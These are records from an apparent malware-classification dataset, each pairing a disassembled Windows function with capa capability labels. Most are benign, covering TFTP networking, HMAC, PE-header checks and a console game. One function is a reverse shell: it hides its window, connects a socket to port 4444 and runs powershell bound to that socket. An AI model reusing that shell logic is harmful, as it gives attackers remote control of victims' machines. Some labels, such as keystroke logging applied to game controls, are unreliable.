joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b20e0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400b2288
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400b2145
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400b2145
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400b2145
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400b217c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400b21d2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b21d2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b21d2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b21d2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b21d2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400b1b90
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400b2234
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14008e120
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400b1f60
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400b2280
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14008e120
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400b39f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140114b80]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400b3a85
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call fcn.1400c85da
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400b3ae6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14008e120
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400c7020
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400b3ba1
sub ecx, 1
je 0x1400b3c14
sub ecx, 1
je 0x1400b3b50
cmp ecx, 1
je 0x1400b3b33
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400ce310]
call fcn.14008e120
jmp 0x1400b3c14
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400b3720
test eax, eax
je 0x1400b3c14
jmp 0x1400b3aba
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400b3c14
sub rax, rsi
cmp rax, rbp
jae 0x1400b3c14
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14008e2a0
jmp 0x1400b3c14
cmp r8d, 4
jle 0x1400b3c14
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400b3c14
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14008e040
mov esi, eax
test eax, eax
je 0x1400b3bf3
mov edx, 5
mov rcx, rbx
call fcn.1400b46e0
mov eax, esi
jmp 0x1400b3aba
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14009cb10
mov rcx, r14
call fcn.14009cdf0
test eax, eax
je 0x1400b3ab8
mov edx, 5
mov rcx, rbx
call fcn.1400b46e0
mov eax, Ordinal_45
jmp 0x1400b3aba
Function at 0x1400c69b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400c69f2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400c6a39
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400c6a92
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400c6a50
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400c6ad3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1401023f2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1401023f3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400c6aa0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400c7a38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c7a82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c7a82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c7a82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c7a82
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c7a82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400c7a84
xor al, al
add rsp, 0x28
ret
Function at 0x1400c7d8c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400c7dc6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400c7dcb
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400c7e14
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400c7e14
dec r8
sub rdx, 1
jne 0x1400c7dfa
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140011262
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a5c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112fd
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b910
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b930
xor al, al
jmp 0x14001b9b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b943
xor al, al
jmp 0x14001b9b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001b96d
xor al, al
jmp 0x14001b9b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001b981
xor al, al
jmp 0x14001b9b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b993
xor al, al
jmp 0x14001b9b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b9af
xor al, al
jmp 0x14001b9b1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113ca
Capabilities:
Manipulate console buffer
Write file on windows

Disassembly:
jmp 0x140018930
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x168]
mov rax, qword [0x140025048]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x14002d170]
call fcn.140011424
movzx eax, word [rbp + 0x130]
mov word [rbp + 0x24], ax
movzx eax, word [rbp + 0x138]
mov word [rbp + 0x26], ax
movsxd rax, dword [0x140025278]
lea rcx, [0x140025280]
mov edx, dword [rbp + 0x24]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, qword [rbp + 0x140]
call fcn.1400111d1
movsxd rcx, dword [0x140025278]
lea rdx, [0x140025280]
mov qword [rbp + 0xf8], rdx
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov r8d, eax
mov rdx, qword [rbp + 0x140]
mov rax, qword [rbp + 0xf8]
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rbp - 0x30]
lea rdx, [0x140022250]
call fcn.14001139d
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x1400113e8
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x140018340
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002d0a7]
call fcn.140011424
lea r8, [0x140021c30]
mov edx, dword [0x1400274a0]
mov ecx, dword [0x14002749c]
call fcn.1400113ca
call qword [sym.imp.ucrtbased.dll__kbhit]
test eax, eax
je 0x1400184b8
mov ecx, dword [0x1400274a8]
call fcn.140011082
test eax, eax
je 0x1400184b8
mov ecx, 0x57
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1400183b2
mov eax, dword [0x1400274a0]
dec eax
mov dword [0x1400274a0], eax
mov ecx, 0x41
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1400183d1
mov eax, dword [0x14002749c]
sub eax, 2
mov dword [0x14002749c], eax
mov ecx, 0x53
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1400183ef
mov eax, dword [0x1400274a0]
inc eax
mov dword [0x1400274a0], eax
mov ecx, 0x44
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14001840e
mov eax, dword [0x14002749c]
add eax, 2
mov dword [0x14002749c], eax
mov ecx, 0x1b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14001843e
call qword [sym.imp.ucrtbased.dll__getch]
mov dword [0x1400251d4], eax
mov dword [0x140025004], 0xffffffff
mov dword [0x1400251c8], 0
mov ecx, 0x26
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14001845c
mov eax, dword [0x140027460]
dec eax
mov dword [0x140027460], eax
mov ecx, 0x25
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14001847b
mov eax, dword [0x14002745c]
sub eax, 2
mov dword [0x14002745c], eax
mov ecx, 0x28
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140018499
mov eax, dword [0x140027460]
inc eax
mov dword [0x140027460], eax
mov ecx, 0x27
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1400184b8
mov eax, dword [0x14002745c]
add eax, 2
mov dword [0x14002745c], eax
lea r8, str.WASD
mov edx, 0x2b
mov ecx, 0x82
call fcn.1400113ca
lea r8, [0x140021c88]
mov edx, 0x2c
mov ecx, 0x80
call fcn.1400113ca
lea r8, [0x140021c8c]
mov edx, 0x2d
mov ecx, 0x82
call fcn.1400113ca
lea r8, [0x140021c90]
mov edx, 0x2c
mov ecx, 0x84
call fcn.1400113ca
lea r8, [0x140021c98]
mov edx, 0x2c
mov ecx, 0x8c
call fcn.1400113ca
lea r8, [0x140021c30]
mov edx, dword [0x140027460]
mov ecx, dword [0x14002745c]
call fcn.1400113ca
lea r8, [0x140021ca8]
mov edx, 0x2b
mov ecx, 0xaa
call fcn.1400113ca
lea r8, [0x140021cac]
mov edx, 0x2c
mov ecx, 0xa8
call fcn.1400113ca
lea r8, [0x140021cb0]
mov edx, 0x2d
mov ecx, 0xaa
call fcn.1400113ca
lea r8, [0x140021c58]
mov edx, 0x2c
mov ecx, 0xac
call fcn.1400113ca
lea r8, [0x140021cb8]
mov edx, 0x2b
mov ecx, 0xb4
call fcn.1400113ca
lea r8, [0x140021cc8]
mov edx, 0x2d
mov ecx, 0xb4
call fcn.1400113ca
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x14001146a
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x140017d30
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14002d0a7]
call fcn.140011424
mov dword [0x14002749c], 0x8c
mov dword [0x1400274a0], 0x28
mov dword [0x14002745c], 0xb4
mov dword [0x140027460], 0x28
mov dword [0x140027428], 0xa0
mov dword [0x14002742c], 0xc
movss xmm0, dword [0x140021e2c]
movss dword [0x140027424], xmm0
movss xmm0, dword [0x140027424]
movss dword [0x140027420], xmm0
mov dword [0x140027484], 0x10
mov dword [0x140027444], 0xd
mov eax, dword [0x140027484]
mov dword [0x140027480], eax
mov eax, dword [0x140027444]
mov dword [0x140027440], eax
mov dword [rbp + 4], 0
jmp 0x140017de4
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xa0
jg 0x140017e67
mov dword [rbp + 0x24], 0
jmp 0x140017dfe
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0x54
jg 0x140017e62
cmp dword [rbp + 4], 0x32
je 0x140017e10
cmp dword [rbp + 4], 0x6e
jne 0x140017e32
cmp dword [rbp + 0x24], 0x46
jge 0x140017e32
cmp dword [rbp + 0x24], 0xe
jle 0x140017e32
mov eax, dword [rbp + 4]
shl eax, 1
lea r8, [0x140021c54]
mov edx, dword [rbp + 0x24]
mov ecx, eax
call fcn.1400113ca
cmp dword [rbp + 0x24], 0x46
je 0x140017e3e
cmp dword [rbp + 0x24], 0xe
jne 0x140017e60
cmp dword [rbp + 4], 0x31
jle 0x140017e60
cmp dword [rbp + 4], 0x6f
jge 0x140017e60
mov eax, dword [rbp + 4]
shl eax, 1
lea r8, [0x140021c54]
mov edx, dword [rbp + 0x24]
mov ecx, eax
call fcn.1400113ca
jmp 0x140017df6
jmp 0x140017ddc
lea r8, [0x140021c58]
mov edx, dword [0x140025014]
mov ecx, dword [0x140025010]
call fcn.1400113ca
lea r8, [0x140021c60]
mov edx, 0x1e
mov ecx, 0x9e
call fcn.1400113ca
lea r8, [0x140021c70]
mov edx, 0x2d
mov ecx, 0x9e
call fcn.1400113ca
lea r8, [0x140021c7c]
mov edx, 0x3c
mov ecx, 0x9e
call fcn.1400113ca
call qword [sym.imp.ucrtbased.dll__kbhit]
test eax, eax
je 0x140017f6d
mov ecx, 8
call fcn.140011082
test eax, eax
je 0x140017f6d
mov ecx, 0x26
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140017f12
mov eax, dword [0x14002500c]
dec eax
mov dword [0x14002500c], eax
cmp dword [0x14002500c], 0
jne 0x140017f12
mov dword [0x14002500c], 3
mov ecx, 0x28
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140017f43
mov eax, dword [0x14002500c]
inc eax
mov dword [0x14002500c], eax
cmp dword [0x14002500c], 4
jne 0x140017f43
mov dword [0x14002500c], 1
mov ecx, 0xd
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140017f5d
mov dword [0x1400251d0], 1
imul eax, dword [0x14002500c], 0xf
add eax, 0xf
mov dword [0x140025014], eax
cmp dword [0x1400251d0], 0
je 0x140017f88
mov dword [0x1400251d0], 0
mov eax, dword [0x14002500c]
jmp 0x140017f8d
mov eax, 0xffffffff
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov ecx, 0x115c
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rax, [rbp + 0x60]
add rax, 4
mov r8, rax
lea rax, str.127.0.0.1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.powershell
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x2a8
pop rdi
pop rbp
ret

Function at 0x140001920
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001990
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
mov rbx, rcx
test esi, esi
jle 0x140001ac0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400019db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400019c0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ae2
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ac7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001a5e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001a70
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400019e8
mov rax, qword [0x140007098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002070
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400020cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400020c3
test eax, eax
jne 0x1400020c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400020a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400022f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002300
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret